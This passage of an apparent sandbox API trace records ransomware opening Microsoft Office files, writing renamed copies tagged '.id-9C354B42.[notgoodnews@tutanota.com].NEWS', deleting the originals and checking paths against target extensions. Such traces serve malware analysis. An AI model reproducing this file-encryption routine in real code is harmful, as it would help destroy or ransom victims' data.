hTemplateFile=0x0) returned 0x3d4 [0252.803] GetLastError () returned 0x0 [0252.803] ReadFile (in: hFile=0x388, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x37d8a, lpOverlapped=0x0) returned 1 [0252.815] WriteFile (in: hFile=0x3d4, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x37d90, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0x37d90, lpOverlapped=0x0) returned 1 [0252.830] ReadFile (in: hFile=0x388, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x0, lpOverlapped=0x0) returned 1 [0252.830] WriteFile (in: hFile=0x3d4, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0252.830] SetEndOfFile (hFile=0x3d4) returned 1 [0252.830] CloseHandle (hObject=0x3d4) returned 1 [0252.831] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.831] SetEndOfFile (hFile=0x388) returned 1 [0253.316] CloseHandle (hObject=0x388) returned 1 [0253.317] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0255.347] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx")) returned 1 [0255.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0255.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0255.375] lstrlenW (lpString=".doc") returned 4 [0255.375] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0255.375] lstrlenW (lpString=".docx") returned 5 [0255.375] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0255.375] lstrlenW (lpString=".pdf") returned 4 [0255.375] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0255.375] lstrlenW (lpString=".xls") returned 4 [0255.375] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0255.376] lstrlenW (lpString=".xlsx") returned 5 [0255.376] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0255.376] lstrlenW (lpString=".ppt") returned 4 [0255.376] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0255.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0255.376] lstrlenW (lpString=".zip") returned 4 [0255.376] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0255.376] lstrlenW (lpString=".rar") returned 4 [0255.376] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0255.376] lstrlenW (lpString=".bz2") returned 4 [0255.376] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0255.376] lstrlenW (lpString=".7z") returned 3 [0255.376] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0255.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0255.376] lstrlenW (lpString=".dbf") returned 4 [0255.377] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0255.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0255.377] lstrlenW (lpString=".1cd") returned 4 [0255.377] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0255.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0255.377] lstrlenW (lpString=".jpg") returned 4 [0255.377] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0255.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0255.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0255.377] lstrlenW (lpString=".doc") returned 4 [0255.377] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0255.378] lstrlenW (lpString=".docx") returned 5 [0255.378] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0255.378] lstrlenW (lpString=".pdf") returned 4 [0255.378] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0255.378] lstrlenW (lpString=".xls") returned 4 [0255.378] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0255.378] lstrlenW (lpString=".xlsx") returned 5 [0255.378] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0255.378] lstrlenW (lpString=".ppt") returned 4 [0255.378] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0255.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0255.379] lstrlenW (lpString=".zip") returned 4 [0255.379] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0255.379] lstrlenW (lpString=".rar") returned 4 [0255.379] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0255.379] lstrlenW (lpString=".bz2") returned 4 [0255.379] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0255.379] lstrlenW (lpString=".7z") returned 3 [0255.379] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0255.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0255.379] lstrlenW (lpString=".dbf") returned 4 [0255.379] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0255.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0255.380] lstrlenW (lpString=".1cd") returned 4 [0255.380] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0255.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0255.380] lstrlenW (lpString=".jpg") returned 4 [0255.380] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0255.381] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0255.381] lstrlenW (lpString="Trek.eftx") returned 9 [0255.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0255.408] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x356ff1c | out: lpFileSize=0x356ff1c*=129924) returned 1 [0255.409] CloseHandle (hObject=0x3c0) returned 1 [0255.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx")) returned 0x20 [0255.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0255.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0255.410] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.410] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0260.065] GetLastError () returned 0x0 [0260.065] ReadFile (in: hFile=0x3c0, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x1fb84, lpOverlapped=0x0) returned 1 [0260.202] WriteFile (in: hFile=0x39c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x1fb90, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0x1fb90, lpOverlapped=0x0) returned 1 [0260.212] ReadFile (in: hFile=0x3c0, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x0, lpOverlapped=0x0) returned 1 [0260.213] WriteFile (in: hFile=0x39c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0260.213] SetEndOfFile (hFile=0x39c) returned 1 [0260.213] CloseHandle (hObject=0x39c) returned 1 [0260.214] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0260.214] SetEndOfFile (hFile=0x3c0) returned 1 [0260.230] CloseHandle (hObject=0x3c0) returned 1 [0260.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0260.231] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx")) returned 1 [0260.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0260.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0260.389] lstrlenW (lpString=".doc") returned 4 [0260.389] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0260.390] lstrlenW (lpString=".docx") returned 5 [0260.390] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0260.390] lstrlenW (lpString=".pdf") returned 4 [0260.390] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0260.390] lstrlenW (lpString=".xls") returned 4 [0260.390] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0260.390] lstrlenW (lpString=".xlsx") returned 5 [0260.390] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0260.390] lstrlenW (lpString=".ppt") returned 4 [0260.390] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0260.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0260.390] lstrlenW (lpString=".zip") returned 4 [0260.391] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0260.391] lstrlenW (lpString=".rar") returned 4 [0260.391] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0260.391] lstrlenW (lpString=".bz2") returned 4 [0260.391] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0260.391] lstrlenW (lpString=".7z") returned 3 [0260.391] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0260.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0260.391] lstrlenW (lpString=".dbf") returned 4 [0260.391] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0260.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0260.391] lstrlenW (lpString=".1cd") returned 4 [0260.391] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0260.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0260.392] lstrlenW (lpString=".jpg") returned 4 [0260.392] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0260.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0260.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0260.392] lstrlenW (lpString=".doc") returned 4 [0260.392] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0260.392] lstrlenW (lpString=".docx") returned 5 [0260.392] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0260.392] lstrlenW (lpString=".pdf") returned 4 [0260.392] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0260.392] lstrlenW (lpString=".xls") returned 4 [0260.392] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0260.393] lstrlenW (lpString=".xlsx") returned 5 [0260.394] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0260.394] lstrlenW (lpString=".ppt") returned 4 [0260.394] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0260.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0260.394] lstrlenW (lpString=".zip") returned 4 [0260.394] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0260.394] lstrlenW (lpString=".rar") returned 4 [0260.394] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0260.394] lstrlenW (lpString=".bz2") returned 4 [0260.394] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0260.394] lstrlenW (lpString=".7z") returned 3 [0260.394] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0260.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0260.395] lstrlenW (lpString=".dbf") returned 4 [0260.395] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0260.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0260.396] lstrlenW (lpString=".1cd") returned 4 [0260.397] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0260.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0260.397] lstrlenW (lpString=".jpg") returned 4 [0260.397] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0260.397] lstrcmpiW (lpString1=".MML", lpString2=".NEWS") returned -1 [0260.398] lstrlenW (lpString="CAGCAT10.MML") returned 12 [0260.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0260.536] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x356ff1c | out: lpFileSize=0x356ff1c*=312400) returned 1 [0260.536] CloseHandle (hObject=0x3a4) returned 1 [0260.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml")) returned 0x20 [0260.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0260.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0260.608] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0260.609] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0260.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0267.758] GetLastError () returned 0x0 [0267.758] ReadFile (in: hFile=0x3c4, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x4c450, lpOverlapped=0x0) returned 1 [0267.779] WriteFile (in: hFile=0x390, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x4c460, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0x4c460, lpOverlapped=0x0) returned 1 [0268.490] ReadFile (in: hFile=0x3c4, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x0, lpOverlapped=0x0) returned 1 [0268.491] WriteFile (in: hFile=0x390, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0xec, lpOverlapped=0x0) returned 1 [0269.054] SetEndOfFile (hFile=0x390) returned 1 [0269.321] CloseHandle (hObject=0x390) returned 1 [0269.764] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0269.764] SetEndOfFile (hFile=0x3c4) returned 1 [0269.889] CloseHandle (hObject=0x3c4) returned 1 [0269.889] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0269.973] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml")) returned 1 [0270.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0270.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0270.107] lstrlenW (lpString=".doc") returned 4 [0270.107] lstrcmpiW (lpString1=".doc", lpString2=".MML") returned -1 [0270.107] lstrlenW (lpString=".docx") returned 5 [0270.107] lstrcmpiW (lpString1=".docx", lpString2="0.MML") returned -1 [0270.107] lstrlenW (lpString=".pdf") returned 4 [0270.108] lstrcmpiW (lpString1=".pdf", lpString2=".MML") returned 1 [0270.108] lstrlenW (lpString=".xls") returned 4 [0270.108] lstrcmpiW (lpString1=".xls", lpString2=".MML") returned 1 [0270.108] lstrlenW (lpString=".xlsx") returned 5 [0270.108] lstrcmpiW (lpString1=".xlsx", lpString2="0.MML") returned -1 [0270.108] lstrlenW (lpString=".ppt") returned 4 [0270.108] lstrcmpiW (lpString1=".ppt", lpString2=".MML") returned 1 [0270.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0270.108] lstrlenW (lpString=".zip") returned 4 [0270.108] lstrcmpiW (lpString1=".zip", lpString2=".MML") returned 1 [0270.109] lstrlenW (lpString=".rar") returned 4 [0270.109] lstrcmpiW (lpString1=".rar", lpString2=".MML") returned 1 [0270.109] lstrlenW (lpString=".bz2") returned 4 [0270.109] lstrcmpiW (lpString1=".bz2", lpString2=".MML") returned -1 [0270.109] lstrlenW (lpString=".7z") returned 3 [0270.109] lstrcmpiW (lpString1=".7z", lpString2="MML") returned -1 [0270.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0270.109] lstrlenW (lpString=".dbf") returned 4 [0270.109] lstrcmpiW (lpString1=".dbf", lpString2=".MML") returned -1 [0270.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0270.109] lstrlenW (lpString=".1cd") returned 4 [0270.109] lstrcmpiW (lpString1=".1cd", lpString2=".MML") returned -1 [0270.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0270.109] lstrlenW (lpString=".jpg") returned 4 [0270.109] lstrcmpiW (lpString1=".jpg", lpString2=".MML") returned -1 [0270.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0270.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0270.110] lstrlenW (lpString=".doc") returned 4 [0270.110] lstrcmpiW (lpString1=".doc", lpString2=".MML") returned -1 [0270.110] lstrlenW (lpString=".docx") returned 5 [0270.110] lstrcmpiW (lpString1=".docx", lpString2="0.MML") returned -1 [0270.110] lstrlenW (lpString=".pdf") returned 4 [0270.110] lstrcmpiW (lpString1=".pdf", lpString2=".MML") returned 1 [0270.110] lstrlenW (lpString=".xls") returned 4 [0270.110] lstrcmpiW (lpString1=".xls", lpString2=".MML") returned 1 [0270.110] lstrlenW (lpString=".xlsx") returned 5 [0270.111] lstrcmpiW (lpString1=".xlsx", lpString2="0.MML") returned -1 [0270.111] lstrlenW (lpString=".ppt") returned 4 [0270.111] lstrcmpiW (lpString1=".ppt", lpString2=".MML") returned 1 [0270.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0270.111] lstrlenW (lpString=".zip") returned 4 [0270.111] lstrcmpiW (lpString1=".zip", lpString2=".MML") returned 1 [0270.111] lstrlenW (lpString=".rar") returned 4 [0270.111] lstrcmpiW (lpString1=".rar", lpString2=".MML") returned 1 [0270.111] lstrlenW (lpString=".bz2") returned 4 [0270.111] lstrcmpiW (lpString1=".bz2", lpString2=".MML") returned -1 [0270.111] lstrlenW (lpString=".7z") returned 3 [0270.112] lstrcmpiW (lpString1=".7z", lpString2="MML") returned -1 [0270.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0270.112] lstrlenW (lpString=".dbf") returned 4 [0270.112] lstrcmpiW (lpString1=".dbf", lpString2=".MML") returned -1 [0270.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0270.112] lstrlenW (lpString=".1cd") returned 4 [0270.112] lstrcmpiW (lpString1=".1cd", lpString2=".MML") returned -1 [0270.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0270.112] lstrlenW (lpString=".jpg") returned 4 [0270.112] lstrcmpiW (lpString1=".jpg", lpString2=".MML") returned -1 [0270.113] lstrcmpiW (lpString1=".VRD", lpString2=".NEWS") returned 1 [0270.113] lstrlenW (lpString="ASSET.VRD") returned 9 [0270.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0270.134] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x356ff1c | out: lpFileSize=0x356ff1c*=1694) returned 1 [0270.134] CloseHandle (hObject=0x384) returned 1 [0270.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd")) returned 0x20 [0270.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0270.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0270.240] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.240] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0270.241] GetLastError () returned 0x0 [0270.241] ReadFile (in: hFile=0x3d4, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x69e, lpOverlapped=0x0) returned 1 [0270.310] WriteFile (in: hFile=0x3c8, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0x6a0, lpOverlapped=0x0) returned 1 [0270.314] ReadFile (in: hFile=0x3d4, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: 